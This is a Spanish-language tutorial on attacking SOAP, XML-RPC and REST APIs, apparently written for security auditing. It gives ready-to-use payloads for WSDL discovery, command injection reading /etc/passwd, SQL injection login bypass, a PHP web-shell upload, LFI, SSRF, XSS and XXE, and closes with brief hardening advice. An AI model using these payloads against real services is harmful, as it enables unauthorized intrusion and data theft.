Ataques a Servicios Web y API

1. Introducción

En este artículo desglosaremos paso a paso los principales ataques dirigidos a servicios web (SOAP, REST) y APIs, con ejemplos de código real para que puedas probar y entender cada técnica. No se perderá ni un solo fragmento de código; aquí tienes todo lo necesario para fortalecer tu auditoría.

2. Fundamentos de Servicios Web y APIs

Antes de adentrarnos en los ataques, repasemos qué son y cómo funcionan los servicios web y las APIs.

2.1 ¿Qué es un Servicio Web? ¿Y una API?

Servicio Web: interfaz estándar basada en XML para comunicar aplicaciones en plataformas distintas. Usa protocolos como SOAP y describe sus operaciones en un WSDL.
API (Interfaz de Programación de Aplicaciones): conjunto de reglas para intercambiar datos o invocar funciones entre programas. Puede usar JSON, XML, RPC, REST, entre otros.

Diferencias clave:

Característica	Servicio Web	API
Requiere red?	Sí	No siempre
Protocolos comunes	SOAP (XML), WSDL	REST, JSON-RPC, gRPC…
Formato de datos	XML	JSON, XML, binarios…
Apertura a terceros	Poco frecuente	Muy común

2.2 Principales Tecnologías

XML-RPC

--> POST /RPC2 HTTP/1.0
User-Agent: Frontier/5.1.2 (WinNT)
Host: betty.userland.com
Content-Type: text/xml
Content-length: 181

<?xml version="1.0"?>
<methodCall>
  <methodName>examples.getStateName</methodName>
  <params>
    <param><value><i4>41</i4></value></param>
  </params>
</methodCall>

<-- HTTP/1.1 200 OK
Content-Type: text/xml

<?xml version="1.0"?>
<methodResponse>
  <params>
    <param><value><string>South Dakota</string></value></param>
  </params>
</methodResponse>

JSON-RPC

--> POST /ENDPOINT HTTP/1.1
Host: api.example.com
Content-Type: application/json-rpc

{"method": "sum", "params": {"a":3, "b":4}, "id":0}

<-- HTTP/1.1 200 OK
Content-Type: application/json-rpc

{"result": 7, "error": null, "id": 0}

SOAP

Estructura general:

<soap:Envelope> con namespace
<soap:Header> opcional
<soap:Body> con petición o respuesta
<soap:Fault> para errores

--> POST /Quotation HTTP/1.0
Host: www.xyz.org
Content-Type: text/xml; charset=utf-8

<?xml version="1.0"?>
<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://www.w3.org/2001/12/soap-envelope" SOAP-ENV:encodingStyle="http://www.w3.org/2001/12/soap-encoding">
  <SOAP-ENV:Body xmlns:m="http://www.xyz.org/quotations">
    <m:GetQuotation>
      <m:QuotationsName>Microsoft</m:QuotationsName>
    </m:GetQuotation>
  </SOAP-ENV:Body>
</SOAP-ENV:Envelope>

<-- HTTP/1.0 200 OK
Content-Type: text/xml; charset=utf-8

<?xml version="1.0"?>
<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://www.w3.org/2001/12/soap-envelope" SOAP-ENV:encodingStyle="http://www.w3.org/2001/12/soap-encoding">
  <SOAP-ENV:Body xmlns:m="http://www.xyz.org/quotation">
    <m:GetQuotationResponse>
      <m:Quotation>Here is the quotation</m:Quotation>
    </m:GetQuotationResponse>
  </SOAP-ENV:Body>
</SOAP-ENV:Envelope>

RESTful

Uso de verbos HTTP y JSON/XML:

--> POST /api/2.2/auth/signin HTTP/1.1
Host: my-server
Content-Type: application/json
Accept: application/json

{
  "credentials": {
    "name": "administrator",
    "password": "passw0rd",
    "site": { "contentUrl": "" }
  }
}

3. Descubriendo WSDL

Los servicios SOAP suelen publicar un archivo WSDL (Web Services Description Language), un XML que describe todos los métodos disponibles, los tipos de datos utilizados, y la URL donde se encuentra el servicio. Este archivo muchas veces puede descubrirse simplemente añadiendo ?wsdl al final de una ruta conocida o mediante fuzzing.

Búsqueda directa con curl

curl http://<TARGET-IP>:3002/wsdl?wsdl

Fuzzing con ffuf

Usamos ffuf para descubrir parámetros o rutas ocultas:

ffuf -u http://<TARGET-IP>:3002/FUZZ?wsdl -w /usr/share/seclists/Discovery/Web-Content/common.txt

Buscar combinaciones como /service?wsdl, /api?wsdl, etc.

Exploración de directorios con dirb

dirb http://<TARGET-IP>:3002

Esto nos puede revelar archivos como /wsdl, /service.wsdl, /endpoint?wsdl, etc.

Una vez descubierto el archivo WSDL, es posible analizarlo manualmente o con herramientas como SOAPUI para mapear funciones expuestas y preparar ataques más dirigidos.

Generar clientes con wsdl2java

La utilidad wsdl2java de Apache CXF permite generar clases Java a partir del WSDL, facilitando pruebas de cliente:

wsdl2java -d output/ -p com.victim.wsdl http://<TARGET-IP>:3002/service?wsdl

Esto crea stubs en com.victim.wsdl que puedes usar para invocar métodos desde código Java.

Detección automática con nmap

Nmap incluye scripts para analizar servicios SOAP y WSDL:

nmap -p 80 --script soap-wsdl <TARGET-IP>

El script soap-wsdl descarga y analiza el WSDL, mostrando operaciones disponibles y posibles vulnerabilidades.

4. Suplantación de SOAPAction

En SOAP, el encabezado SOAPAction indica qué operación ejecutar. Alterarlo o suplantarlo puede redirigir la petición a otro método.

--> POST /Service HTTP/1.1
Host: victim.com
Content-Type: text/xml; charset=utf-8
SOAPAction: "http://victim.com/ActionDoS"

<?xml version="1.0"?>
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
  <soapenv:Body>
    <ns:DoS xmlns:ns="http://victim.com/">
      <ns:param>value</ns:param>
    </ns:DoS>
  </soapenv:Body>
</soapenv:Envelope>

Prueba cambiando SOAPAction a otro namespace o método para invocar operaciones inesperadas.

5. Inyección de Comandos en Servicios Web

Si el servicio deserializa datos o ejecuta comandos con parámetros sin sanitizar, podemos inyectar payloads.

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
  <soapenv:Body>
    <ns:runCommand xmlns:ns="http://example.com/">
      <ns:cmd>uname -a; cat /etc/passwd</ns:cmd>
    </ns:runCommand>
  </soapenv:Body>
</soapenv:Envelope>

En este ejemplo, el parámetro cmd envía múltiples comandos separados por ;.

6. Abuso de xmlrpc.php en WordPress

WordPress expone xmlrpc.php para publicar posts remotamente y trackbacks. Permite peticiones XML-RPC, entre ellas wp.getUsersBlogs.

<?xml version="1.0"?>
<methodCall>
  <methodName>wp.getUsersBlogs</methodName>
  <params>
    <param><value><string>admin</string></value></param>
    <param><value><string>password123</string></value></param>
  </params>
</methodCall>

Atacar con fuerza bruta usuarios/contraseñas, o usar otros métodos como pingback.ping para SSRF.

7. Inyección SQL Ligera en APIs

APIs REST que construyen consultas SQL concatenando parámetros pueden ser vulnerables a SQLi «ligera».

GET /api/users?filter=id%3D1%20OR%201%3D1 HTTP/1.1
Host: api.victim.com

Esto hace que la cláusula WHERE siempre sea verdadera.

Para peticiones POST con JSON:

--> POST /api/login HTTP/1.1
Content-Type: application/json

{"username": "admin'--", "password": ""}

El -- comenta el resto de la consulta y permite login sin credenciales.

8. Subida de Archivos Insegura

APIs que permiten enviar archivos sin validar extensión o tipo MIME:

--> POST /api/upload HTTP/1.1
Host: upload.victim.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary

------WebKitFormBoundary
Content-Disposition: form-data; name="file"; filename="shell.php"
Content-Type: image/png

<?php system($_GET['cmd']); ?>
------WebKitFormBoundary--

El atacante renombra el Content-Type a image/png pero sube código PHP.

9. Inclusión de Archivos Locales (LFI)

APIs con parámetros de ruta o fichero sin sanitizar:

GET /api/download?file=../../../../etc/passwd HTTP/1.1
Host: api.victim.com

Descarga archivos sensibles. Combina con null byte (%00) en entornos antiguos.

10. Cross-Site Scripting (XSS) en APIs

APIs que retornan datos sin escapar pueden exponer XSS en aplicaciones que renderizan JSON directamente.

--> POST /api/comments HTTP/1.1
Host: api.victim.com
Content-Type: application/json

{"comment": "<script>alert(1)</script>"}

Si el front-end inyecta comment en el DOM sin sanitizar, ejecutará el script.

11. Server-Side Request Forgery (SSRF)

Las APIs que toman URLs de usuarios pueden usarse para atacar servicios internos:

POST /api/fetch HTTP/1.1
Host: api.victim.com
Content-Type: application/json

{"url": "http://127.0.0.1:8080/admin"}

El servidor hará la petición interna al puerto 8080.

12. Denegación de Servicio RegEx (ReDoS)

Expresiones regulares mal diseñadas pueden bloquear el procesado de peticiones.

POST /api/validate HTTP/1.1
Host: api.victim.com
Content-Type: application/json

{"data": "aaaaaaaaaaaaaaaaaaaaaaaa!"}

Un regex como ^(a+)+$ se toma tiempo exponencial.

13. XML External Entity (XXE)

Servicios SOAP o XML que procesan entidades externas permiten filtrar archivos o realizar SSRF.

<?xml version="1.0"?>
<!DOCTYPE root [
  <!ENTITY ext SYSTEM "file:///etc/passwd">
]>
<root>
  <data>&ext;</data>
</root>

El parser expande &ext; con el contenido de /etc/passwd.

14. Conclusión y Buenas Prácticas

Validación estricta de entradas: tipos, longitud y patrones.
Escapado y sanitización de datos antes de usarlos en SQL, comandos o código.
Politica de CORS y control de cabeceras.
Uso de WAF y análisis de logs para detectar patrones anómalos.
Parcheo y actualización de librerías y componentes.

¡Con esto cierras tu caja de herramientas ofensiva y defensiva en servicios web y APIs! Mantén tus pruebas y defensas al día.

davidalvk